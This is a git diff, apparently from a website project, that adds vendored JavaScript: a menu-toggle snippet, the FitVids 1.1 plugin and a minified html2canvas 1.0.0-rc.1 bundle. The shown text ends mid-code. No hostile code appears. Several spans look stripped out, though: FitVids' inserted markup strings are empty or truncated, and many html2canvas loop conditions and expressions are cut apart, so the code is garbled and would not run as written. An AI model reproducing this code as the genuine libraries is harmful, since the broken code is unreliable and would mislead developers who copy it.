+this.setAttribute('aria-expanded',"false");document.body.style.paddingRight=0+"px";}else{document.body.style.paddingRight=window.innerWidth-document.documentElement.clientWidth+"px";document.body.classList.add('no-scroll');this.parentNode.classList.add('hamburger-menu-open') +this.setAttribute('aria-expanded',"true");}} \ No newline at end of file diff --git a/public/js/fitvids.js b/public/js/fitvids.js new file mode 100644 index 00000000..bbfcdc0f --- /dev/null +++ b/public/js/fitvids.js @@ -0,0 +1,87 @@ +/*jshint browser:true */ +/*! +* FitVids 1.1 +* +* Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com +* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/ +* Released under the WTFPL license - http://sam.zoy.org/wtfpl/ +* +*/ + +;(function( $ ){ + + 'use strict'; + + $.fn.fitVids = function( options ) { + var settings = { + customSelector: null, + ignore: null + }; + + if(!document.getElementById('fit-vids-style')) { + // appendStyles: https://github.com/toddmotto/fluidvids/blob/master/dist/fluidvids.js + var head = document.head || document.getElementsByTagName('head')[0]; + var css = '.fluid-width-video-wrapper{width:100%;position:relative;padding:0;}.fluid-width-video-wrapper iframe,.fluid-width-video-wrapper object,.fluid-width-video-wrapper embed {position:absolute;top:0;left:0;width:100%;height:100%;}'; + var div = document.createElement("div"); + div.innerHTML = '

    x

    '; + head.appendChild(div.childNodes[1]); + } + + if ( options ) { + $.extend( settings, options ); + } + + return this.each(function(){ + var selectors = [ + 'iframe[src*="player.vimeo.com"]', + 'iframe[src*="youtube.com"]', + 'iframe[src*="youtube-nocookie.com"]', + 'iframe[src*="kickstarter.com"][src*="video.html"]', + 'object', + 'embed' + ]; + + if (settings.customSelector) { + selectors.push(settings.customSelector); + } + + var ignoreList = '.fitvidsignore'; + + if(settings.ignore) { + ignoreList = ignoreList + ', ' + settings.ignore; + } + + var $allVideos = $(this).find(selectors.join(',')); + $allVideos = $allVideos.not('object object'); // SwfObj conflict patch + $allVideos = $allVideos.not(ignoreList); // Disable FitVids on this video. + + $allVideos.each(function(){ + var $this = $(this); + if($this.parents(ignoreList).length > 0) { + return; // Disable FitVids on this video. + } + if (this.tagName.toLowerCase() === 'embed' && $this.parent('object').length || $this.parent('.fluid-width-video-wrapper').length) { return; } + if ((!$this.css('height') && !$this.css('width')) && (isNaN($this.attr('height')) || isNaN($this.attr('width')))) + { + $this.attr('height', 9); + $this.attr('width', 16); + } + var height = ( this.tagName.toLowerCase() === 'object' || ($this.attr('height') && !isNaN(parseInt($this.attr('height'), 10))) ) ? parseInt($this.attr('height'), 10) : $this.height(), + width = !isNaN(parseInt($this.attr('width'), 10)) ? parseInt($this.attr('width'), 10) : $this.width(), + aspectRatio = height / width; + if(!$this.attr('name')){ + var videoName = 'fitvid' + $.fn.fitVids._count; + $this.attr('name', videoName); + $.fn.fitVids._count++; + } + $this.wrap('
    ').parent('.fluid-width-video-wrapper').css('padding-top', (aspectRatio * 100)+'%'); + $this.removeAttr('height').removeAttr('width'); + }); + }); + }; + + // Internal counter for unique video names. + $.fn.fitVids._count = 0; + +// Works with either jQuery or Zepto +})( window.jQuery || window.Zepto ); diff --git a/public/js/html2canvas.min.js b/public/js/html2canvas.min.js new file mode 100644 index 00000000..b16dd8f4 --- /dev/null +++ b/public/js/html2canvas.min.js @@ -0,0 +1,6 @@ +/*! + * html2canvas 1.0.0-rc.1 + * Copyright (c) 2019 Niklas von Hertzen + * Released under MIT License + */ +!function(A,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.html2canvas=e():A.html2canvas=e()}(window,function(){return function(A){var e={};function t(r){if(e[r])return e[r].exports;var n=e[r]={i:r,l:!1,exports:{}};return A[r].call(n.exports,n,n.exports,t),n.l=!0,n.exports}return t.m=A,t.c=e,t.d=function(A,e,r){t.o(A,e)||Object.defineProperty(A,e,{enumerable:!0,get:r})},t.r=function(A){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(A,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(A,"__esModule",{value:!0})},t.t=function(A,e){if(1&e&&(A=t(A)),8&e)return A;if(4&e&&"object"==typeof A&&A&&A.__esModule)return A;var r=Object.create(null);if(t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:A}),2&e&&"string"!=typeof A)for(var n in A)t.d(r,n,function(e){return A[e]}.bind(null,n));return r},t.n=function(A){var e=A&&A.__esModule?function(){return A.default}:function(){return A};return t.d(e,"a",e),e},t.o=function(A,e){return Object.prototype.hasOwnProperty.call(A,e)},t.p="",t(t.s=5)}([function(A,e,t){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=t(1);Object.defineProperty(e,"toCodePoints",{enumerable:!0,get:function(){return r.toCodePoints}}),Object.defineProperty(e,"fromCodePoint",{enumerable:!0,get:function(){return r.fromCodePoint}});var n=t(2);Object.defineProperty(e,"LineBreaker",{enumerable:!0,get:function(){return n.LineBreaker}})},function(A,e,t){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.toCodePoints=function(A){for(var e=[],t=0,r=A.length;t=55296&&n<=56319&&t>10),n%1024+56320)),(t+1===A||e.length>16384)&&(r+=String.fromCharCode.apply(String,e),e.length=0)}return r};for(var r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",n="undefined"==typeof Uint8Array?[]:new Uint8Array(256),B=0;B>4,Q[B++]=(15&o)<<4|a>>2,Q[B++]=(3&a)<<6|63&i;return c},e.polyUint16Array=function(A){for(var e=A.length,t=[],r=0;r1&&void 0!==arguments[1]?arguments[1]:"strict",t=[],r=[],n=[];return A.forEach(function(A,B){var s=X.get(A);if(s>a?(n.push(!0),s-=a):n.push(!1),-1!==["normal","auto","loose"].indexOf(e)&&-1!==[8208,8211,12316,12448].indexOf(A))return r.push(B),t.push(16);if(4===s||11===s){if(0===B)return r.push(B),t.push(E);var o=t[B-1];return-1===V.indexOf(o)?(r.push(r[B-1]),t.push(o)):(r.push(B),t.push(E))}return r.push(B),31===s?t.push("strict"===e?g:N):s===D?t.push(E):29===s?t.push(E):43===s?A>=131072&&A<=196605||A>=196608&&A<=262141?t.push(N):t.push(E):void t.push(s)}),[r,t,n]},_=function(A,e,t,r){var n=r[t];if(Array.isArray(A)?-1!==A.indexOf(n):A===n)for(var B=t;B<=r.length;){var s=r[++B];if(s===e)return!0;if(s!==i)break}if(n===i)for(var o=t;o>0;){var a=r[--o];if(Array.isArray(A)?-1!==A.indexOf(a):A===a)for(var c=t;c<=r.length;){var Q=r[++c];if(Q===e)return!0;if(Q!==i)break}if(a!==i)break}return!1},P=function(A,e){for(var t=A;t>=0;){var r=e[t];if(r!==i)return r;t--}return 0},G=function(A,e,t,r,n){if(0===t[r])return T;var B=r-1;if(Array.isArray(n)&&!0===n[B])return T;var s=B-1,o=B+1,a=e[B],E=s>=0?e[s]:0,D=e[o];if(2===a&&3===D)return T;if(-1!==L.indexOf(a))return M;if(-1!==L.indexOf(D))return T;if(-1!==O.indexOf(D))return T;if(8===P(B,e))return S;if(11===X.get(A[B])&&(D===N||D===p||D===K))return T;if(7===a||7===D)return T;if(9===a)return T;if(-1===[i,c,Q].indexOf(a)&&9===D)return T;if(-1!==[l,w,u,C,f].indexOf(D))return T;if(P(B,e)===F)return T;if(_(23,F,B,e))return T;if(_([l,w],g,B,e))return T;if(_(12,12,B,e))return T;if(a===i)return S;if(23===a||23===D)return T;if(16===D||16===a)return S;if(-1!==[c,Q,g].indexOf(D)||14===a)return T;if(36===E&&-1!==J.indexOf(a))return T;if(a===f&&36===D)return T;if(D===U&&-1!==z.concat(U,u,h,N,p,K).indexOf(a))return T;if(-1!==z.indexOf(D)&&a===h||-1!==z.indexOf(a)&&D===h)return T;if(a===H&&-1!==[N,p,K].indexOf(D)||-1!==[N,p,K].indexOf(a)&&D===d)return T;if(-1!==z.indexOf(a)&&-1!==x.indexOf(D)||-1!==x.indexOf(a)&&-1!==z.indexOf(D))return T;if(-1!==[H,d].indexOf(a)&&(D===h||-1!==[F,Q].indexOf(D)&&e[o+1]===h)||-1!==[F,Q].indexOf(a)&&D===h||a===h&&-1!==[h,f,C].indexOf(D))return T;if(-1!==[h,f,C,l,w].indexOf(D))for(var V=B;V>=0;){var R=e[V];if(R===h)return T;if(-1===[f,C].indexOf(R))break;V--}if(-1!==[H,d].indexOf(D))for(var G=-1!==[l,w].indexOf(a)?s:B;G>=0;){var W=e[G];if(W===h)return T;if(-1===[f,C].indexOf(W))break;G--}if(y===a&&-1!==[y,v,m,b].indexOf(D)||-1!==[v,m].indexOf(a)&&-1!==[v,I].indexOf(D)||-1!==[I,b].indexOf(a)&&D===I)return T;if(-1!==k.indexOf(a)&&-1!==[U,d].indexOf(D)||-1!==k.indexOf(D)&&a===H)return T;if(-1!==z.indexOf(a)&&-1!==z.indexOf(D))return T;if(a===C&&-1!==z.indexOf(D))return T;if(-1!==z.concat(h).indexOf(a)&&D===F||-1!==z.concat(h).indexOf(D)&&a===w)return T;if(41===a&&41===D){for(var Y=t[B],q=1;Y>0&&41===e[--Y];)q++;if(q%2!=0)return T}return a===p&&D===K?T:S},W=(e.lineBreakAtIndex=function(A,e){if(0===e)return T;if(e>=A.length)return M;var t=R(A),r=n(t,2),B=r[0],s=r[1];return G(A,s,B,e)},function(A,e){e||(e={lineBreak:"normal",wordBreak:"normal"});var t=R(A,e.lineBreak),r=n(t,3),B=r[0],s=r[1],o=r[2];return"break-all"!==e.wordBreak&&"break-word"!==e.wordBreak||(s=s.map(function(A){return-1!==[h,E,D].indexOf(A)?N:A})),[B,s,"keep-all"===e.wordBreak?o.map(function(e,t){return e&&A[t]>=19968&&A[t]<=40959}):null]}),Y=(e.inlineBreakOpportunities=function(A,e){var t=(0,o.toCodePoints)(A),r=T,B=W(t,e),s=n(B,3),a=s[0],i=s[1],c=s[2];return t.forEach(function(A,e){r+=(0,o.fromCodePoint)(A)+(e>=t.length-1?M:G(t,i,a,e+1,c))}),r},function(){function A(e,t,r,n){!function(A,e){if(!(A instanceof e))throw new TypeError("Cannot call a class as a function")}(this,A),this._codePoints=e,this.required=t===M,this.start=r,this.end=n}return r(A,[{key:"slice",value:function(){return o.fromCodePoint.apply(void 0,function(A){if(Array.isArray(A)){for(var e=0,t=Array(A.length);e=c)return{done:!0};for(var A=T;l>B,c=e.UTRIE2_DATA_BLOCK_LENGTH=1<>B,w=e.UTRIE2_INDEX_2_BMP_LENGTH=i+l,u=e.UTRIE2_UTF8_2B_INDEX_2_OFFSET=w,U=e.UTRIE2_UTF8_2B_INDEX_2_LENGTH=32,g=e.UTRIE2_INDEX_1_OFFSET=u+U,F=e.UTRIE2_OMITTED_BMP_INDEX_1_LENGTH=65536>>s,C=e.UTRIE2_INDEX_2_BLOCK_LENGTH=1<=0){if(A<55296||A>56319&&A<=65535)return e=((e=this.index[A>>B])<>B)])<>s),e=this.index[e],e+=A>>B&h,e=((e=this.index[e])<4)&&[Number(e[1]),Number(e[2]),Number(e[3]),Number(e[4])]},w=function(A){return[Math.min(A[0],255),Math.min(A[1],255),Math.min(A[2],255),A.length>3?A[3]:null]},u=function(A){return g[A.toLowerCase()]||!1},U=function(){function A(e){!function(A,e){if(!(A instanceof e))throw new TypeError("Cannot call a class as a function")}(this,A);var t=function(A,e){return function(A){if(Array.isArray(A))return A}(A)||function(A,e){var t=[],r=!0,n=!1,B=void 0;try{for(var s,o=A[Symbol.iterator]();!(r=(s=o.next()).done)&&(t.push(s.value),!e||t.length!==e);r=!0);}catch(A){n=!0,B=A}finally{try{r||null==o.return||o.return()}finally{if(n)throw B}}return t}(A,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}(Array.isArray(e)?w(e):s(e)||c(e)||l(e)||u(e)||a(e)||[0,0,0,null],4),r=t[0],n=t[1],B=t[2],o=t[3];this.r=r,this.g=n,this.b=B,this.a=o}return function(A,e,t){e&&n(A.prototype,e)}(A,[{key:"isTransparent",value:function(){return 0===this.a}},{key:"toString",value:function(){return null!==this.a&&1!==this.a?"rgba(".concat(this.r,",").concat(this.g,",").concat(this.b,",").concat(this.a,")"):"rgb(".concat(this.r,",").concat(this.g,",").concat(this.b,")")}}]),A}(),g={transparent:[0,0,0,0],aliceblue:[240,248,255,null],antiquewhite:[250,235,215,null],aqua:[0,255,255,null],aquamarine:[127,255,212,null],azure:[240,255,255,null],beige:[245,245,220,null],bisque:[255,228,196,null],black:[0,0,0,null],blanchedalmond:[255,235,205,null],blue:[0,0,255,null],blueviolet:[138,43,226,null],brown:[165,42,42,null],burlywood:[222,184,135,null],cadetblue:[95,158,160,null],chartreuse:[127,255,0,null],chocolate:[210,105,30,null],coral:[255,127,80,null],cornflowerblue:[100,149,237,null],cornsilk:[255,248,220,null],crimson:[220,20,60,null],cyan:[0,255,255,null],darkblue:[0,0,139,null],darkcyan:[0,139,139,null],darkgoldenrod:[184,134,11,null],darkgray:[169,169,169,null],darkgreen:[0,100,0,null],darkgrey:[169,169,169,null],darkkhaki:[189,183,107,null],darkmagenta:[139,0,139,null],darkolivegreen:[85,107,47,null],darkorange:[255,140,0,null],darkorchid:[153,50,204,null],darkred:[139,0,0,null],darksalmon:[233,150,122,null],darkseagreen:[143,188,143,null],darkslateblue:[72,61,139,null],darkslategray:[47,79,79,null],darkslategrey:[47,79,79,null],darkturquoise:[0,206,209,null],darkviolet:[148,0,211,null],deeppink:[255,20,147,null],deepskyblue:[0,191,255,null],dimgray:[105,105,105,null],dimgrey:[105,105,105,null],dodgerblue:[30,144,255,null],firebrick:[178,34,34,null],floralwhite:[255,250,240,null],forestgreen:[34,139,34,null],fuchsia:[255,0,255,null],gainsboro:[220,220,220,null],ghostwhite:[248,248,255,null],gold:[255,215,0,null],goldenrod:[218,165,32,null],gray:[128,128,128,null],green:[0,128,0,null],greenyellow:[173,255,47,null],grey:[128,128,128,null],honeydew:[240,255,240,null],hotpink:[255,105,180,null],indianred:[205,92,92,null],indigo:[75,0,130,null],ivory:[255,255,240,null],khaki:[240,230,140,null],lavender:[230,230,250,null],lavenderblush:[255,240,245,null],lawngreen:[124,252,0,null],lemonchiffon:[255,250,205,null],lightblue:[173,216,230,null],lightcoral:[240,128,128,null],lightcyan:[224,255,255,null],lightgoldenrodyellow:[250,250,210,null],lightgray:[211,211,211,null],lightgreen:[144,238,144,null],lightgrey:[211,211,211,null],lightpink:[255,182,193,null],lightsalmon:[255,160,122,null],lightseagreen:[32,178,170,null],lightskyblue:[135,206,250,null],lightslategray:[119,136,153,null],lightslategrey:[119,136,153,null],lightsteelblue:[176,196,222,null],lightyellow:[255,255,224,null],lime:[0,255,0,null],limegreen:[50,205,50,null],linen:[250,240,230,null],magenta:[255,0,255,null],maroon:[128,0,0,null],mediumaquamarine:[102,205,170,null],mediumblue:[0,0,205,null],mediumorchid:[186,85,211,null],mediumpurple:[147,112,219,null],mediumseagreen:[60,179,113,null],mediumslateblue:[123,104,238,null],mediumspringgreen:[0,250,154,null],mediumturquoise:[72,209,204,null],mediumvioletred:[199,21,133,null],midnightblue:[25,25,112,null],mintcream:[245,255,250,null],mistyrose:[255,228,225,null],moccasin:[255,228,181,null],navajowhite:[255,222,173,null],navy:[0,0,128,null],oldlace:[253,245,230,null],olive:[128,128,0,null],olivedrab:[107,142,35,null],orange:[255,165,0,null],orangered:[255,69,0,null],orchid:[218,112,214,null],palegoldenrod:[238,232,170,null],palegreen:[152,251,152,null],paleturquoise:[175,238,238,null],palevioletred:[219,112,147,null],papayawhip:[255,239,213,null],peachpuff:[255,218,185,null],peru:[205,133,63,null],pink:[255,192,203,null],plum:[221,160,221,null],powderblue:[176,224,230,null],purple:[128,0,128,null],rebeccapurple:[102,51,153,null],red:[255,0,0,null],rosybrown:[188,143,143,null],royalblue:[65,105,225,null],saddlebrown:[139,69,19,null],salmon:[250,128,114,null],sandybrown:[244,164,96,null],seagreen:[46,139,87,null],seashell:[255,245,238,null],sienna:[160,82,45,null],silver:[192,192,192,null],skyblue:[135,206,235,null],slateblue:[106,90,205,null],slategray:[112,128,144,null],slategrey:[112,128,144,null],snow:[255,250,250,null],springgreen:[0,255,127,null],steelblue:[70,130,180,null],tan:[210,180,140,null],teal:[0,128,128,null],thistle:[216,191,216,null],tomato:[255,99,71,null],turquoise:[64,224,208,null],violet:[238,130,238,null],wheat:[245,222,179,null],white:[255,255,255,null],whitesmoke:[245,245,245,null],yellow:[255,255,0,null],yellowgreen:[154,205,50,null]},F=new U([0,0,0,0]),C=function(A){switch(A){case"underline":return 1;case"overline":return 2;case"line-through":return 3}return 4},h=function(A){var e=function(A){return"none"===A?null:A.split(" ").map(C)}(A.textDecorationLine?A.textDecorationLine:A.textDecoration);return null===e?null:{textDecorationLine:e,textDecorationColor:A.textDecorationColor?new U(A.textDecorationColor):null,textDecorationStyle:function(A){switch(A){case"double":return 1;case"dotted":return 2;case"dashed":return 3;case"wavy":return 4}return 0}(A.textDecorationStyle)}};function d(A,e){for(var t=0;t=0;t--){var r=A.item(t);"content"!==r&&e.style.setProperty(r,A.getPropertyValue(r))}return e};function N(A,e){for(var t=0;t1&&(r/=l,n/=l,B/=l,s/=l,o/=l,a/=l,i/=l,c/=l);var w=A.width-B,u=A.height-a,U=A.width-o,g=A.height-c;return{topLeftOuter:r>0||n>0?_(A.left,A.top,r,n,R.TOP_LEFT):new M(A.left,A.top),topLeftInner:r>0||n>0?_(A.left+e[3].borderWidth,A.top+e[0].borderWidth,Math.max(0,r-e[3].borderWidth),Math.max(0,n-e[0].borderWidth),R.TOP_LEFT):new M(A.left+e[3].borderWidth,A.top+e[0].borderWidth),topRightOuter:B>0||s>0?_(A.left+w,A.top,B,s,R.TOP_RIGHT):new M(A.left+A.width,A.top),topRightInner:B>0||s>0?_(A.left+Math.min(w,A.width+e[3].borderWidth),A.top+e[0].borderWidth,w>A.width+e[3].borderWidth?0:B-e[3].borderWidth,s-e[0].borderWidth,R.TOP_RIGHT):new M(A.left+A.width-e[1].borderWidth,A.top+e[0].borderWidth),bottomRightOuter:o>0||a>0?_(A.left+U,A.top+u,o,a,R.BOTTOM_RIGHT):new M(A.left+A.width,A.top+A.height),bottomRightInner:o>0||a>0?_(A.left+Math.min(U,A.width-e[3].borderWidth),A.top+Math.min(u,A.height+e[0].borderWidth),Math.max(0,o-e[1].borderWidth),a-e[2].borderWidth,R.BOTTOM_RIGHT):new M(A.left+A.width-e[1].borderWidth,A.top+A.height-e[2].borderWidth),bottomLeftOuter:i>0||c>0?_(A.left,A.top+g,i,c,R.BOTTOM_LEFT):new M(A.left,A.top+A.height),bottomLeftInner:i>0||c>0?_(A.left+e[3].borderWidth,A.top+g,Math.max(0,i-e[3].borderWidth),c-e[2].borderWidth,R.BOTTOM_LEFT):new M(A.left+e[3].borderWidth,A.top+A.height-e[2].borderWidth)}},R={TOP_LEFT:0,TOP_RIGHT:1,BOTTOM_RIGHT:2,BOTTOM_LEFT:3},_=function(A,e,t,r,n){var B=(Math.sqrt(2)-1)/3*4,s=t*B,o=r*B,a=A+t,i=e+r;switch(n){case R.TOP_LEFT:return new X(new M(A,i),new M(A,i-o),new M(a-s,e),new M(a,e));case R.TOP_RIGHT:return new X(new M(A,e),new M(A+s,e),new M(a,i-o),new M(a,i));case R.BOTTOM_RIGHT:return new X(new M(a,e),new M(a,e+o),new M(A+s,i),new M(A,i));case R.BOTTOM_LEFT:default:return new X(new M(a,i),new M(a-s,i),new M(A,e+o),new M(A,e))}},P=["top","right","bottom","left"],G=function(A){return P.map(function(e){return new v(A.getPropertyValue("padding-".concat(e)))})},W={BORDER_BOX:0,PADDING_BOX:1,CONTENT_BOX:2},Y=W,q=function A(e){switch(function(A,e){if(!(A instanceof e))throw new TypeError("Cannot call a class as a function")}(this,A),e){case"contain":this.size=1;break;case"cover":this.size=2;break;case"auto":this.size=0;break;default:this.value=new v(e)}},j=new q("auto"),Z=function(A,e,t,r){var n=function(A,e){return new L(A.left+e[3].borderWidth,A.top+e[0].borderWidth,A.width-(e[1].borderWidth+e[3].borderWidth),A.height-(e[0].borderWidth+e[2].borderWidth))}(e,r);switch(A){case Y.BORDER_BOX:return e;case Y.CONTENT_BOX:var B=t[3].getAbsoluteValue(e.width),s=t[1].getAbsoluteValue(e.width),o=t[0].getAbsoluteValue(e.width),a=t[2].getAbsoluteValue(e.width);return new L(n.left+B,n.top+o,n.width-B-s,n.height-o-a);case Y.PADDING_BOX:default:return n}},$=function(A,e,t){return new M(A[0].getAbsoluteValue(t.width-e.width),A[1].getAbsoluteValue(t.height-e.height))},AA=function(A,e){return{backgroundColor:new U(A.backgroundColor),backgroundImage:rA(A,e),backgroundClip:eA(A.backgroundClip),backgroundOrigin:tA(A.backgroundOrigin)}},eA=function(A){switch(A){case"padding-box":return W.PADDING_BOX;case"content-box":return W.CONTENT_BOX}return W.BORDER_BOX},tA=function(A){switch(A){case"padding-box":return Y.PADDING_BOX;case"content-box":return Y.CONTENT_BOX}return Y.BORDER_BOX},rA=function(A,e){var t=sA(A.backgroundImage).map(function(A){if("url"===A.method){var t=e.loadImage(A.args[0]);A.args=t?[t]:[]}return A}),r=A.backgroundPosition.split(","),n=A.backgroundRepeat.split(","),B=A.backgroundSize.split(",");return t.map(function(A,e){var t=(B[e]||"auto").trim().split(" ").map(nA),s=(r[e]||"auto").trim().split(" ").map(BA);return{source:A,repeat:function(A){switch(("string"==typeof n[e]?n[e]:n[0]).trim()){case"no-repeat":return 1;case"repeat-x":case"repeat no-repeat":return 2;case"repeat-y":case"no-repeat repeat":return 3;case"repeat":return 0}return 0}(),size:t.length<2?[t[0],j]:[t[0],t[1]],position:s.length<2?[s[0],s[0]]:[s[0],s[1]]}})},nA=function(A){return"auto"===A?j:new q(A)},BA=function(A){switch(A){case"bottom":case"right":return new v("100%");case"left":case"top":return new v("0%");case"auto":return new v("0")}return new v(A)},sA=function(A){var e=/^\s$/,t=[],r=[],n="",B=null,s="",o=0,a=0,i=function(){var A="";if(n){'"'===s.substr(0,1)&&(s=s.substr(1,s.length-2)),s&&r.push(s.trim());var e=n.indexOf("-",1)+1;"-"===n.substr(0,1)&&e>0&&(A=n.substr(0,e).toLowerCase(),n=n.substr(e)),"none"!==(n=n.toLowerCase())&&t.push({prefix:A,method:n,args:r})}r=[],n=s=""};return A.split("").forEach(function(A){if(0!==o||!e.test(A)){switch(A){case'"':B?B===A&&(B=null):B=A;break;case"(":if(B)break;if(0===o)return void(o=1);a++;break;case")":if(B)break;if(1===o){if(0===a)return o=0,void i();a--}break;case",":if(B)break;if(0===o)return void i();if(1===o&&0===a&&!n.match(/^url$/i))return r.push(s.trim()),void(s="")}0===o?n+=A:s+=A}}),i(),t},oA=Object.keys({TOP:0,RIGHT:1,BOTTOM:2,LEFT:3}).map(function(A){return A.toLowerCase()}),aA=function(A){return oA.map(function(e){var t=new U(A.getPropertyValue("border-".concat(e,"-color"))),r=function(A){switch(A){case"none":return 0}return 1}(A.getPropertyValue("border-".concat(e,"-style"))),n=parseFloat(A.getPropertyValue("border-".concat(e,"-width")));return{borderColor:t,borderStyle:r,borderWidth:isNaN(n)?0:n}})};var iA=["top-left","top-right","bottom-right","bottom-left"],cA=function(A){return iA.map(function(e){var t=function(A,e){return function(A){if(Array.isArray(A))return A}(A)||function(A,e){var t=[],r=!0,n=!1,B=void 0;try{for(var s,o=A[Symbol.iterator]();!(r=(s=o.next()).done)&&(t.push(s.value),!e||t.length!==e);r=!0);}catch(A){n=!0,B=A}finally{try{r||null==o.return||o.return()}finally{if(n)throw B}}return t}(A,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}(A.getPropertyValue("border-".concat(e,"-radius")).split(" ").map(v.create),2),r=t[0],n=t[1];return void 0===n?[r,r]:[r,n]})},QA={NONE:1,BLOCK:2,INLINE:4,RUN_IN:8,FLOW:16,FLOW_ROOT:32,TABLE:64,FLEX:128,GRID:256,RUBY:512,SUBGRID:1024,LIST_ITEM:2048,TABLE_ROW_GROUP:4096,TABLE_HEADER_GROUP:8192,TABLE_FOOTER_GROUP:16384,TABLE_ROW:32768,TABLE_CELL:65536,TABLE_COLUMN_GROUP:1<<17,TABLE_COLUMN:1<<18,TABLE_CAPTION:1<<19,RUBY_BASE:1<<20,RUBY_TEXT:1<<21,RUBY_BASE_CONTAINER:1<<22,RUBY_TEXT_CONTAINER:1<<23,CONTENTS:1<<24,INLINE_BLOCK:1<<25,INLINE_LIST_ITEM:1<<26,INLINE_TABLE:1<<27,INLINE_FLEX:1<<28,INLINE_GRID:1<<29},lA=function(A,e){return A|function(A){switch(e){case"block":return QA.BLOCK;case"inline":return QA.INLINE;case"run-in":return QA.RUN_IN;case"flow":return QA.FLOW;case"flow-root":return QA.FLOW_ROOT;case"table":return QA.TABLE;case"flex":return QA.FLEX;case"grid":return QA.GRID;case"ruby":return QA.RUBY;case"subgrid":return QA.SUBGRID;case"list-item":return QA.LIST_ITEM;case"table-row-group":return QA.TABLE_ROW_GROUP;case"table-header-group":return QA.TABLE_HEADER_GROUP;case"table-footer-group":return QA.TABLE_FOOTER_GROUP;case"table-row":return QA.TABLE_ROW;case"table-cell":return QA.TABLE_CELL;case"table-column-group":return QA.TABLE_COLUMN_GROUP;case"table-column":return QA.TABLE_COLUMN;case"table-caption":return QA.TABLE_CAPTION;case"ruby-base":return QA.RUBY_BASE;case"ruby-text":return QA.RUBY_TEXT;case"ruby-base-container":return QA.RUBY_BASE_CONTAINER;case"ruby-text-container":return QA.RUBY_TEXT_CONTAINER;case"contents":return QA.CONTENTS;case"inline-block":return QA.INLINE_BLOCK;case"inline-list-item":return QA.INLINE_LIST_ITEM;case"inline-table":return QA.INLINE_TABLE;case"inline-flex":return QA.INLINE_FLEX;case"inline-grid":return QA.INLINE_GRID}return QA.NONE}()},wA=function(A){return A.split(" ").reduce(lA,0)},uA=function(A){switch(A){case"left":return 1;case"right":return 2;case"inline-start":return 3;case"inline-end":return 4}return 0},UA=function(A){return{fontFamily:A.fontFamily,fontSize:A.fontSize,fontStyle:A.fontStyle,fontVariant:A.fontVariant,fontWeight:function(A){switch(A){case"normal":return 400;case"bold":return 700}var e=parseInt(A,10);return isNaN(e)?400:e}(A.fontWeight)}},gA=function(A){if("normal"===A)return 0;var e=parseFloat(A);return isNaN(e)?0:e},FA=function(A){switch(A){case"strict":return"strict";case"normal":default:return"normal"}},CA=function(A){switch(A){case"disc":return 0;case"circle":return 1;case"square":return 2;case"decimal":return 3;case"cjk-decimal":return 4;case"decimal-leading-zero":return 5;case"lower-roman":return 6;case"upper-roman":return 7;case"lower-greek":return 8;case"lower-alpha":return 9;case"upper-alpha":return 10;case"arabic-indic":return 11;case"armenian":return 12;case"bengali":return 13;case"cambodian":return 14;case"cjk-earthly-branch":return 15;case"cjk-heavenly-stem":return 16;case"cjk-ideographic":return 17;case"devanagari":return 18;case"ethiopic-numeric":return 19;case"georgian":return 20;case"gujarati":return 21;case"gurmukhi":case"hebrew":return 22;case"hiragana":return 23;case"hiragana-iroha":return 24;case"japanese-formal":return 25;case"japanese-informal":return 26;case"kannada":return 27;case"katakana":return 28;case"katakana-iroha":return 29;case"khmer":return 30;case"korean-hangul-formal":return 31;case"korean-hanja-formal":return 32;case"korean-hanja-informal":return 33;case"lao":return 34;case"lower-armenian":return 35;case"malayalam":return 36;case"mongolian":return 37;case"myanmar":return 38;case"oriya":return 39;case"persian":return 40;case"simp-chinese-formal":return 41;case"simp-chinese-informal":return 42;case"tamil":return 43;case"telugu":return 44;case"thai":return 45;case"tibetan":return 46;case"trad-chinese-formal":return 47;case"trad-chinese-informal":return 48;case"upper-armenian":return 49;case"disclosure-open":return 50;case"disclosure-closed":return 51;case"none":default:return-1}},hA=function(A){var e=sA(A.getPropertyValue("list-style-image"));return{listStyleType:CA(A.getPropertyValue("list-style-type")),listStyleImage:e.length?e[0]:null,listStylePosition:dA(A.getPropertyValue("list-style-position"))}},dA=function(A){switch(A){case"inside":return 0;case"outside":default:return 1}},HA=["top","right","bottom","left"],fA=function(A){return HA.map(function(e){return new v(A.getPropertyValue("margin-".concat(e)))})},EA={VISIBLE:0,HIDDEN:1,SCROLL:2,AUTO:3},pA=function(A){switch(A){case"hidden":return EA.HIDDEN;case"scroll":return EA.SCROLL;case"auto":return EA.AUTO;case"visible":default:return EA.VISIBLE}},KA=function(A){switch(A){case"break-word":return 1;case"normal":default:return 0}},mA={STATIC:0,RELATIVE:1,ABSOLUTE:2,FIXED:3,STICKY:4},bA=function(A){switch(A){case"relative":return mA.RELATIVE;case"absolute":return mA.ABSOLUTE;case"fixed":return mA.FIXED;case"sticky":return mA.STICKY}return mA.STATIC},NA=/^([+-]|\d|\.)$/i,yA=function(A){if("none"===A||"string"!=typeof A)return null;for(var e="",t=!1,r=[],n=[],B=0,s=null,o=function(){e.length&&(t?r.push(parseFloat(e)):s=new U(e)),t=!1,e=""},a=function(){r.length&&null!==s&&n.push({color:s,offsetX:r[0]||0,offsetY:r[1]||0,blur:r[2]||0}),r.splice(0,r.length),s=null},i=0;i";try{r.drawImage(e,0,0),t.toDataURL()}catch(A){return!1}return!0}(document);return Object.defineProperty(RA,"SUPPORT_SVG_DRAWING",{value:A}),A},get SUPPORT_FOREIGNOBJECT_DRAWING(){var A="function"==typeof Array.from&&"function"==typeof window.fetch?function(A){var e=A.createElement("canvas");e.width=100,e.height=100;var t=e.getContext("2d");t.fillStyle="rgb(0, 255, 0)",t.fillRect(0,0,100,100);var r=new Image,n=e.toDataURL();r.src=n;var B=VA(100,100,0,0,r);return t.fillStyle="red",t.fillRect(0,0,100,100),kA(B).then(function(e){t.drawImage(e,0,0);var r=t.getImageData(0,0,100,100).data;t.fillStyle="red",t.fillRect(0,0,100,100);var 